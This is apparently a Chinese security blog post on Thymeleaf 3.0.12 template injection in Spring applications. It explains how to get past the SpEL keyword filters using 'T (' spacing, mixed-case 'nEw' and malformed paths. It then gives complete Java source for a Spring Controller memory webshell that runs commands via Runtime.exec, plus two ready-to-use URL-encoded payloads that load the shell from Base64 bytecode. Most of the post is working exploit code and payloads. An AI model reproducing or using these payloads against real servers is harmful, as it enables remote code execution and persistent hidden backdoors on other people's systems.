SPEL注入Spring内存马


闲来无事水一篇没有营养的文章。

唉,再不复习就要完了。 还是简单水水文章就算了,

起因

起因只是因为我遇到了一个不出网的thymeleaf ssti。

这里恰好补充一下thymeleaf的绕过吧

这篇稍微会讲的好些:https://forum.butian.net/share/1922

先讲bypass,版本均针对3.0.12:

1
2
T (xxx)
nEw xxxx

在 3.0.12 版本的 Thymeleaf 中新增了一个 SpringStandardExpressionUtils类,其中写了好一个 containsSpELInstantiationOrStatic 方法,对new关键字和T(进行了检测。

但是观察源码可以得到其逻辑并绕过:

1
2
3
4
5
6
if (c == ')'){
si = n;
} else {
if (si > n && c == '(' && n - 1 >= 0 && expression.charAt(n - 1) == 'T' && (n - 1 == 0 || !Character.isJavaIdentifierPart(expression.charAt(n - 2)))) {
return true;
}

很明显只是检测(和其前面一个是否是T,很明显此处可以用空格、tab键等方式进行绕过,因为T (并不会被这里的n-1检测到,但同时还可以被 SPEL 表达式识别

除此之外还通过一个private static final char[] NEW_ARRAY = "wen".toCharArray();来检测new关键字(注意下面的循环是倒序的,因此检测的就是new,但是他这个检测也是有纰漏的:

1
2
3
4
++ni;
if (ni == NEW_LEN && (n == 0 || !Character.isJavaIdentifierPart(expression.charAt(n - 1)))) {
return true;
}

很明显是ni == NEW_LEN,因此可以利用大小写绕过。

还有一种类型的bypass:

1
/doc/{data}

类的,thymeleaf ssti出现在这里的,这个绕过就是利用以下三种形式去破坏requestURI的内容

1
2
3
/doc//
/doc;/
/doc/;/

内存马

跟着这篇文章看下去发现有一个spel的内存马。

利用的是org.springframework.cglib.core.ReflectUtils.defineClass()直接加载恶意类。这里细节就不再提起,需要一个urlSafeEncode。文章使用的内存马是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class SpringRequestMappingMemshell {
public static String doInject(Object requestMappingHandlerMapping) {
String msg = "inject-start";
try {
Method registerMapping = requestMappingHandlerMapping.getClass().getMethod("registerMapping", Object.class, Object.class, Method.class);
registerMapping.setAccessible(true);
Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition("/*"); //这里直接注册
RequestMethodsRequestCondition methodsRequestCondition = new RequestMethodsRequestCondition();
RequestMappingInfo requestMappingInfo = new RequestMappingInfo(patternsRequestCondition, methodsRequestCondition, null, null, null, null, null);
registerMapping.invoke(requestMappingHandlerMapping, requestMappingInfo, new SpringRequestMappingMemshell(), executeCommand);
msg = "inject-success";
}catch (Exception e){
e.printStackTrace();
msg = "inject-error";
}
return msg;
}

public ResponseEntity executeCommand(@RequestParam(value = "cmd") String cmd) throws IOException {
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
return new ResponseEntity(execResult, HttpStatus.OK);
}
}

简单地说就是通过触发doInject方法对任意路由都注册并且使用executeCmd方法。并且payload长这样:

1
http://localhost:2333/admin?language=__%24%7BT%20(org.springframework.cglib.core.ReflectUtils).defineClass(%22EvilFilter%22%2CT%20(org.springframework.util.Base64Utils).decodeFromUrlSafeString(%22yv66vgAAADQAkgoABgBNCABOCgAGAE8IADAHAFAHAFEHAFIKAAUAUwoABwBUBwBVCAAyBwBWCgAFAFcHAFgIAFkKAA4AWgcAWwcAXAoAEQBdBwBeCgAUAF8KAAoATQoABwBgCABhBwBiCgAZAGMIAGQHAGUKAGYAZwoAZgBoCgBpAGoKABwAawgAbAoAHABtCgAcAG4HAG8JAHAAcQoAJAByAQAGPGluaXQ-AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAxMRXZpbEZpbHRlcjsBAAhkb0luamVjdAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmc7AQAPcmVnaXN0ZXJNYXBwaW5nAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA5leGVjdXRlQ29tbWFuZAEAGHBhdHRlcm5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ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1cwEAAk9LAQAlTG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzOwEAOihMamF2YS9sYW5nL09iamVjdDtMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXM7KVYAIQAKAAYAAAAAAAMAAQAnACgAAQApAAAALwABAAEAAAAFKrcAAbEAAAACACoAAAAGAAEAAAAMACsAAAAMAAEAAAAFACwALQAAAAkALgAvAAEAKQAAAVkACQAHAAAAlBICTCq2AAMSBAa9AAVZAxIGU1kEEgZTWQUSB1O2AAhNLAS2AAkSChILBL0ABVkDEgxTtgANTrsADlkEvQAMWQMSD1O3ABA6BLsAEVkDvQAStwATOgW7ABRZGQQZBQEBAQEBtwAVOgYsKga9AAZZAxkGU1kEuwAKWbcAFlNZBS1TtgAXVxIYTKcAC00stgAaEhtMK7AAAQADAIcAigAZAAMAKgAAADoADgAAAA4AAwAQACAAEQAlABIANgATAEgAFABVABUAZwAWAIQAFwCHABsAigAYAIsAGQCPABoAkgAcACsAAABSAAgAIABnADAAMQACADYAUQAyADEAAwBIAD8AMwA0AAQAVQAyADUANgAFAGcAIAA3ADgABgCLAAcAOQA6AAIAAACUADsAPAAAAAMAkQA9AD4AAQA_AAAAEwAC_wCKAAIHAEAHAEEAAQcAQgcAAQAyAEMAAwApAAAAaAAEAAMAAAAmuwAcWbgAHSu2AB62AB-3ACASIbYAIrYAI027ACRZLLIAJbcAJrAAAAACACoAAAAKAAIAAAAgABoAIQArAAAAIAADAAAAJgAsAC0AAAAAACYARAA-AAEAGgAMAEUAPgACAEYAAAAEAAEARwBIAAAADAEAAQBJAAEASnMARAABAEsAAAACAEw%3D%22)%2CnEw%20javax.management.loading.MLet(NeW%20java.net.URL(%22http%22%2C%22127.0.0.1%22%2C%221.txt%22)%2CT%20(java.lang.Thread).currentThread().getContextClassLoader())).doInject(T%20(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute(%22org.springframework.web.servlet.DispatcherServlet.CONTEXT%22%2C0).getBean(T%20(Class).forName(%22org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping%22)))%7D__%3A%3Amain.x

需要手动获得requestMappingHandlerMapping,看似确实能够成功。本地环境测试也是确实打进去了

当时我们访问内存马的时候就会发现你根本打不了这个马:

这个时候直接人懵逼了,明明是inject-success,这是为什么呢?

查看docker后台:

1
2024-11-28 22:49:49.234 ERROR 1 --- [nio-8080-exec-5] o.a.c.c.C.[.[.[/].[dispatcherServlet]    : Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed; nested exception is java.lang.IllegalArgumentException: Expected lookupPath in request attribute "org.springframework.web.util.UrlPathHelper.PATH".] with root cause

直接报了个奇怪的错,这是啥原因呢?

很明显了,我们注册路由的时候没有改config那些导致springboot 2.6.0之后就不能够这样打shell了,不过下面这个形式是不是看得有些眼熟?

其实就是我们很常用的Spring Controller内存马。反正都是defineClass,不如自己简单改一下这个shell使其能够正常工作

于是乎shell被我改成了这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringRequestMappingMemshell {
public static String doInject() {
String msg = "inject-start";
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = SpringRequestMappingMemshell.class.getMethod("executeCommand", String.class);
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/shell")
.options(config)
.build();
SpringRequestMappingMemshell springControllerMemShell = new SpringRequestMappingMemshell("aaa");
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
msg = "inject-success";
}catch (Exception e){
e.printStackTrace();
msg = "inject-error";
}
return msg;
}
public SpringRequestMappingMemshell(String aaa) {}

public ResponseEntity executeCommand(@RequestParam(value = "cmd") String cmd) throws IOException {
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
return new ResponseEntity(execResult, HttpStatus.OK);
}
}

经典路由/shell。只需要稍微改一下之前的payload就能触发,同时还payload还省下了获取mapping的功夫,直接调用defineClass().doInject()即可。

payload:

1
/admin?language=__%24%7BT%20(org.springframework.cglib.core.ReflectUtils).defineClass(%22SpringRequestMappingMemshell%22%2CT%20(org.springframework.util.Base64Utils).decodeFromUrlSafeString(%22yv66vgAAADQAvwgAWwoAXABdCABeCwBfAGAHAGEHAGILAAUAYwoALQBkCAA5CgAQAGUKAGYAZwoAZgBoBwBqBwBrCABQBwBsBwBtCgAQAG4HAG8HAHAKABMAcQgAcgoAaQBzCwB0AHULAHQAdggATwoADgB3CgAGAHgIAHkHAHoKAB4AewgAfAoALQB9BwB-CgB_AIAKAH8AgQoAggCDCgAiAIQIAIUKACIAhgoAIgCHBwCICQCJAIoKACoAiwcAjAEACGRvSW5qZWN0AQAUKClMamF2YS9sYW5nL1N0c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QAAAAYAAQAAACgAMgAAABYAAgAAAAUATgBEAAAAAAAFAE8ASAABAAEAUABRAAMAMAAAAGgABAADAAAAJrsAIlm4ACMrtgAktgAltwAmEie2ACi2AClNuwAqWSyyACu3ACywAAAAAgAxAAAACgACAAAAKwAaACwAMgAAACAAAwAAACYATgBEAAAAAAAmAFIASAABABoADABTAEgAAgBUAAAABAABAFUAVgAAAAwBAAEAVwABAFhzAFIAAgBZAAAAAgBaADsAAAASAAIADQBpADoACQB0AGkApAYJ%22)%2CnEw%20javax.management.loading.MLet(NeW%20java.net.URL(%22http%22%2C%22127.0.0.1%22%2C%221.txt%22)%2CT%20(java.lang.Thread).currentThread().getContextClassLoader())).doInject()%7D__%3A%3Amain.x

可以看到同样能够inject-success,并且这回访问/shell?cmd=whoami也有了正常的回显:

写的很水,到这里就结束了,反正能用就行